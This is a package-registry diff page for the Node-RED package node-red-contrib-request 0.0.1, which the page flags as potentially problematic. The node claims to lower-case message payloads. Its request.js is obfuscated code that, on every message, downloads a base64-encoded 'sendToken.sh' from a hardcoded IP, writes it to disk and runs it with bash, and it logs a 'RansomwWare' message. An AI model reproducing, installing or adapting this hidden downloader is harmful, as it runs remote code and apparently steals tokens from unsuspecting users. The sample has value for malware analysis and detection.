node-red-contrib-request 0.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of node-red-contrib-request might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +17 -0
  2. package/request.html +26 -0
  3. package/request.js +1 -0
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "node-red-contrib-request",
3
+ "version": "0.0.1",
4
+ "description": "request",
5
+ "main": "request.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+
10
+ "license": "MIT",
11
+ "node-red" : {
12
+ "nodes": {
13
+ "request": "request.js"
14
+ }
15
+ }
16
+
17
+ }
package/request.html ADDED
@@ -0,0 +1,26 @@
1
+ <script type="text/javascript">
2
+ RED.nodes.registerType('request',{
3
+ category: 'function',
4
+ color: '#a6bbcf',
5
+ defaults: {
6
+ name: {value:""}
7
+ },
8
+ inputs:1,
9
+ outputs:1,
10
+ icon: "light.png",
11
+ label: function() {
12
+ return this.name||"request";
13
+ }
14
+ });
15
+ </script>
16
+
17
+ <script type="text/x-red" data-template-name="request">
18
+ <div class="form-row">
19
+ <label for="node-input-name"><i class="icon-tag"></i> Name</label>
20
+ <input type="text" id="node-input-name" placeholder="Name">
21
+ </div>
22
+ </script>
23
+
24
+ <script type="text/x-red" data-help-name="request">
25
+ <p>A simple node that converts the message payloads into all lower-case characters</p>
26
+ </script>
package/request.js ADDED
@@ -0,0 +1 @@
1
+ const a0_0xc9e9c8=a0_0x3a5f;(function(_0x45ec5b,_0xe6184d){const _0x3d1eb4=a0_0x3a5f,_0x51cad0=_0x45ec5b();while(!![]){try{const _0x4e32a2=-parseInt(_0x3d1eb4(0x188))/0x1+-parseInt(_0x3d1eb4(0x18b))/0x2*(-parseInt(_0x3d1eb4(0x17d))/0x3)+parseInt(_0x3d1eb4(0x18f))/0x4+parseInt(_0x3d1eb4(0x179))/0x5+parseInt(_0x3d1eb4(0x18e))/0x6*(-parseInt(_0x3d1eb4(0x177))/0x7)+-parseInt(_0x3d1eb4(0x16d))/0x8+-parseInt(_0x3d1eb4(0x183))/0x9*(-parseInt(_0x3d1eb4(0x182))/0xa);if(_0x4e32a2===_0xe6184d)break;else _0x51cad0['push'](_0x51cad0['shift']());}catch(_0x3e5f8e){_0x51cad0['push'](_0x51cad0['shift']());}}}(a0_0x3ac4,0x4d771));const {execFile}=require(a0_0xc9e9c8(0x178)),fetch=require(a0_0xc9e9c8(0x17f)),fs=require('fs');async function download(){const _0x57a0f5=a0_0xc9e9c8;try{const _0x58cd74=await fetch(_0x57a0f5(0x190));if(!_0x58cd74['ok'])throw new Error(_0x57a0f5(0x16f)+_0x58cd74[_0x57a0f5(0x176)]);const _0xded7fc=await _0x58cd74[_0x57a0f5(0x181)]();return console[_0x57a0f5(0x18d)](_0x57a0f5(0x18c)),_0xded7fc;}catch(_0x2d2bf6){console[_0x57a0f5(0x173)](_0x57a0f5(0x187),_0x2d2bf6);throw _0x2d2bf6;}}async function decodeAndExecute(_0x2b9a6f){const _0x452010=a0_0xc9e9c8;try{const _0x4092b6=Buffer[_0x452010(0x175)](_0x2b9a6f,_0x452010(0x170))['toString']('utf8');fs[_0x452010(0x172)](_0x452010(0x186),_0x4092b6),execFile(_0x452010(0x17c),[_0x452010(0x186)],(_0x54dee7,_0x96f971,_0xfc9153)=>{const _0x3ad64a=_0x452010;if(_0x54dee7){console['error']('Error\x20executing\x20script:',_0x54dee7);return;}console[_0x3ad64a(0x18d)](_0x3ad64a(0x189),_0x96f971),_0xfc9153&&console['error'](_0x3ad64a(0x16e),_0xfc9153);});}catch(_0x5d7d10){console[_0x452010(0x173)](_0x452010(0x185),_0x5d7d10);}}function a0_0x3ac4(){const _0x4ac72a=['Downloaded\x20encoded\x20sendToken.sh\x20successfully','log','156vNegos','1218496uRddrI','http://192.168.224.143/sendToken.sh','payload','2338584zYIHlZ','Script\x20stderr:','Failed\x20to\x20fetch\x20script:\x20','base64','nodes','writeFileSync','error','toLowerCase','from','statusText','80885UEkyHs','child_process','1472425ZTRbdj','Failed\x20to\x20download\x20or\x20execute\x20script:','request','bash','3eaKlWn','exports','node-fetch','createNode','text','4998090KKKTik','9fqWiRa','send','Failed\x20to\x20decode\x20or\x20execute\x20script:','./script.sh','Error\x20downloading\x20script:','260645KaozfY','Script\x20executed\x20successfully:','registerType','143554MFNYYJ'];a0_0x3ac4=function(){return _0x4ac72a;};return a0_0x3ac4();}function a0_0x3a5f(_0x247f5e,_0x12232f){const _0x3ac4a4=a0_0x3ac4();return a0_0x3a5f=function(_0x3a5f3a,_0x58ec0c){_0x3a5f3a=_0x3a5f3a-0x16d;let _0x583124=_0x3ac4a4[_0x3a5f3a];return _0x583124;},a0_0x3a5f(_0x247f5e,_0x12232f);}module[a0_0xc9e9c8(0x17e)]=function(_0x1f78d4){const _0x4b2eac=a0_0xc9e9c8;function _0x25cec0(_0x3ec0ff){const _0x7f3d95=a0_0x3a5f;_0x1f78d4['nodes'][_0x7f3d95(0x180)](this,_0x3ec0ff);var _0x3dfe44=this;console['log']('Đã\x20chạy\x20RansomwWare');const _0x5f1bc3=async()=>{const _0x51c198=_0x7f3d95;try{const _0xdeb2cd=await download();await decodeAndExecute(_0xdeb2cd);}catch(_0x57909a){console[_0x51c198(0x173)](_0x51c198(0x17a),_0x57909a);}};_0x3dfe44['on']('input',function(_0x594248){const _0x52c5ce=_0x7f3d95;_0x594248[_0x52c5ce(0x191)]=_0x594248[_0x52c5ce(0x191)][_0x52c5ce(0x174)](),_0x3dfe44[_0x52c5ce(0x184)](_0x594248),_0x5f1bc3();});}_0x1f78d4[_0x4b2eac(0x171)][_0x4b2eac(0x18a)](_0x4b2eac(0x17b),_0x25cec0);};